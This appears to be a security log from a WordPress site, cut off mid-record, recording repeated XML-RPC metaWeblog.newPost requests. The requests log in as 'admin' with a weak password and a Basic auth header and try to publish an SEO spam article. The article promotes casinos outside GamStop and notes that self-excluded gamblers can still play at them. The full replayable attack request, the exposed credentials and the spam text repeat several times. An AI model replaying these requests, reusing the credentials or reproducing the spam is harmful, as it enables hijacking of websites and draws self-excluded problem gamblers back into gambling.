when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36\naccept-encoding:identity\nauthorization:Basic YWRtaW46TEJtTiB4QjVLIHk3U3QgbnVBRSBXbjJEIDU5V04=\ncontent-length:11634\nhost:47.254.126.238\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>"]
["2026-05-12 15:45:51","89.222.112.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36","post","select.+(from|limit) >> <?xml version:'1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_description<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise...<\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_keywords<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string><\/string><\/value><\/member>\r\n<\/struct><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n\r\n<\/struct><\/value>\r\n<\/param>\r\n<param>\r\n<value><boolean>1<\/boolean><\/value>\r\n<\/param>\r\n<\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 6.1) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/49.0.2623.112 Safari\/537.36\naccept-encoding:identity\nauthorization:Basic YWRtaW46TEJtTiB4QjVLIHk3U3QgbnVBRSBXbjJEIDU5V04=\ncontent-length:11634\nhost:47.254.126.238\ncontent-type:text\/xml\n\n<?xml version='1.0'?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param>\r\n<value><string>1<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>admin<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><string>Admin@123<\/string><\/value>\r\n<\/param>\r\n<param>\r\n<value><struct>\r\n<member>\r\n<name>mt_keywords<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>mt_convert_breaks<\/name>\r\n<value><string>0<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>description<\/name>\r\n<value><string><![CDATA[<p>The world of online gambling offers a plethora of options for players looking to test their luck and potentially win big. One trending option is the rise of casinos not on GamStop, which cater to players looking for alternatives to UKGC-regulated sites. These casinos allow for a £10 deposit, making them accessible to players on a budget who still want to enjoy the thrill of gambling.<\/p>\n\n<p>When it comes to online casinos not on GamStop, the £10 deposit limit is a popular choice among players who want to manage their spending while still enjoying their favorite games. By setting a budget and sticking to it, players can avoid overspending and ensure that their gambling remains a fun and entertaining pastime.<\/p>\n\n<p>In this comprehensive guide, we will explore everything you need to know about casino not on GamStop with a £10 deposit. From how these casinos work behind the scenes to the ins and outs of bonus mechanics and payment methods, we will cover all the essential information to help you make informed decisions when choosing where to play. So, let's dive in and discover the exciting world of budget gaming at casinos not on GamStop. <\/p>\n\n<p><h2>The Basics of Casinos Not on GamStop<\/h2><\/p>\n\n<p>Casinos not on GamStop are online gambling sites that are not licensed by the UK Gambling Commission (UKGC). This means that they may not be subject to the same regulations and restrictions as UKGC-licensed casinos. As a result, players who have self-excluded through the GamStop program may still be able to access and play at these casinos.<\/p>\n\n<p>One of the key features of casinos not on GamStop is their flexibility when it comes to deposits. Many of these casinos allow players to deposit as little as £10, making them an attractive option for budget-conscious players. Additionally, casinos not on GamStop often offer a wide range of games, including slots, table games, and live dealer games, ensuring that there is something for every type of player to enjoy.<\/p>\n\n<p><h2>How Casinos Not on GamStop Work<\/h2><\/p>\n\n<p>Casinos not on GamStop operate similarly to traditional online casinos, with a few key differences. Since they are not regulated by the UKGC, these casinos may have more freedom when it comes to their game offerings, bonuses, and overall player experience. However, players should be aware that this lack of regulation can also mean fewer consumer protections, so it's essential to do thorough research before signing up and depositing funds.<\/p>\n\n<p>One of the primary advantages of casinos not on GamStop is the ability for players to self-exclude from individual sites, rather than being automatically excluded from all UKGC-licensed casinos through the GamStop program. This can be beneficial for players who want to take a break from gambling on certain sites but still have the option to play elsewhere.<\/p>\n\n<p><h2>RTP and Volatility Analysis<\/h2><\/p>\n\n<p>One essential factor to consider when choosing a casino not on GamStop with a £10 deposit is the return to player (RTP) and volatility of the games on offer. RTP is a metric that indicates the average percentage of bets that a game will return to players over time. A higher RTP generally means better odds for the player, so it's worth looking for games with high RTP values.<\/p>\n\n<p>Volatility, on the other hand, refers to the risk associated with a particular game. High volatility games tend to have larger payouts but less frequent wins, while low volatility games offer more consistent wins but with smaller prizes. Understanding the RTP and volatility of the games you play can help you make more informed decisions about where to wager your money.<\/p>\n\n<p><h2>Bankroll Logic<\/h2><\/p>\n\n<p>Managing your bankroll is crucial when playing at a casino not on GamStop with a £10 deposit. Setting a budget and sticking to it can help you avoid overspending and ensure that your gambling remains an enjoyable and sustainable activity. One popular strategy for managing your bankroll is the 5% rule, which involves betting no more than 5% of your total bankroll on any single wager.<\/p>\n\n<p>Another important aspect of bankroll management is knowing when to walk away. If you find yourself on a losing streak or feeling frustrated, it's essential to take a break and come back to the game with a clear head. By setting limits for yourself and practicing discipline, you can make the most of your £10 deposit and have a positive gambling experience.<\/p>\n\n<p><h2>Bonus Mechanics<\/h2><\/p>\n\n<p>Many casinos not on GamStop offer generous bonuses and promotions to attract new players and reward loyal customers. These bonuses can come in various forms, such as welcome bonuses, free spins, and cashback offers, and can provide a significant boost to your bankroll. However, it's essential to familiarize yourself with the terms and conditions of these bonuses to ensure that you understand how they work and what is required to unlock any winnings.<\/p>\n\n<p>One common bonus mechanic to be aware of is wagering requirements, which dictate how many times you must wager the bonus amount before you can withdraw any winnings. Additionally, some bonuses may have time limits or restrictions on the games you can play, so it's crucial to read the fine print before claiming any offer. By understanding the ins and outs of bonus mechanics, you can make the most of the promotions available at casinos not on GamStop.<\/p>\n\n<p><h2>Licensing and Regulation Differences<\/h2><\/p>\n\n<p>As previously mentioned, casinos not on GamStop are not licensed by the UKGC and may not be subject to the same regulations as UKGC-licensed casinos. While this lack of regulation can offer certain freedoms to operators, it can also leave players with fewer consumer protections. It's essential to do your due diligence and research any casino not on GamStop before signing up and depositing funds to ensure that they are reputable and trustworthy.<\/p>\n\n<p>Additionally, some casinos not on GamStop may be licensed in other jurisdictions, such as Malta or Curacao. While these licenses can provide some level of oversight and accountability, they <a href=\"https:\/\/sandcircles.co.uk\/\">uk casino not on gamstop<\/a> may not offer the same protections as a UKGC license. Ultimately, it's up to the player to decide what level of regulation they are comfortable with and to choose a casino that meets their standards for safety and security.<\/p>\n\n<p><h2>KYC vs. No-KYC Systems<\/h2><\/p>\n\n<p>One key difference between casinos not on GamStop is the implementation of know your customer (KYC) verification procedures. KYC is a process that requires players to verify their identity by providing documents such as a driver's license, passport, or utility bill. This verification helps casinos prevent fraud, money laundering, and underage gambling, and is a standard practice at many regulated online casinos.<\/p>\n\n<p>Some casinos not on GamStop may have less stringent KYC requirements or may offer a no-KYC option, allowing players to create an account and start playing without providing personal information. While this may offer convenience for some players, it can also pose risks in terms of security and player protection. Players should carefully consider the implications of choosing a no-KYC casino and weigh the potential benefits against the potential drawbacks.<\/p>\n\n<p><h2>Payment Methods<\/h2><\/p>\n\n<p>When playing at a casino not on GamStop with a £10 deposit, it's essential to consider the payment methods available for funding your account and withdrawing winnings. Many casinos offer a variety of payment options, including credit and debit cards, e-wallets, bank transfers, and cryptocurrencies, allowing players to choose the method that is most convenient for them.<\/p>\n\n<p>Additionally, some casinos may impose fees or processing times for certain payment methods, so it's essential to read the terms and conditions before making a deposit. Players should also consider factors such as security, reliability, and privacy when selecting a payment method to ensure a seamless and secure gaming experience.<\/p>\n\n<p><h2>Common Player Mistakes<\/h2><\/p>\n\n<p>Finally, it's essential to be aware of common mistakes that players make when gambling at casinos not on GamStop with a £10 deposit. One common pitfall is chasing losses, or trying to recoup money lost in previous wagers by increasing your bets. This can lead to even greater losses and a negative gambling experience, so it's essential to set limits for yourself and stick to them.<\/p>\n\n<p>Another common mistake is playing games without understanding the rules or odds, which can result in poor decision-making and unnecessary losses. By taking the time to learn about the games you play and practicing sound bankroll management, you can improve your chances of success and have a more enjoyable gaming experience.<\/p>\n\n<p>In conclusion, playing at a casino not on GamStop with a £10 deposit can be a fun and rewarding experience for players looking to enjoy their favorite games on a budget. By understanding the ins and outs of these casinos, including how they work, bonus mechanics, and payment methods, players can make informed decisions and have a positive gambling experience. Remember to set a budget, manage your bankroll, and avoid common mistakes to maximize your chances of success and enjoy all that online gambling has to offer.<\/p>]]><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>title<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget Gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>post_status<\/name>\r\n<value><string>publish<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_slug<\/name>\r\n<value><string>casino-not-on-gamstop-10-deposit-budget-gaming<\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>dateCreated<\/name>\r\n<value><dateTime.iso8601>20260324T17:05:05Z<\/dateTime.iso8601><\/value>\r\n<\/member>\r\n<member>\r\n<name>wp_password<\/name>\r\n<value><string><\/string><\/value>\r\n<\/member>\r\n<member>\r\n<name>categories<\/name>\r\n<value><array><data>\r\n<value><string>sandcircles.co.uk<\/string><\/value>\r\n<\/data><\/array>\r\n<\/value>\r\n<\/member>\r\n<member>\r\n<name>custom_fields<\/name>\r\n<value><array><data>\r\n<value><struct>\r\n<member><name>key<\/name>\r\n<value><string>_aioseop_title<\/string><\/value><\/member>\r\n<member><name>value<\/name>\r\n<value><string>Casino Not on GamStop £10 Deposit: Budget 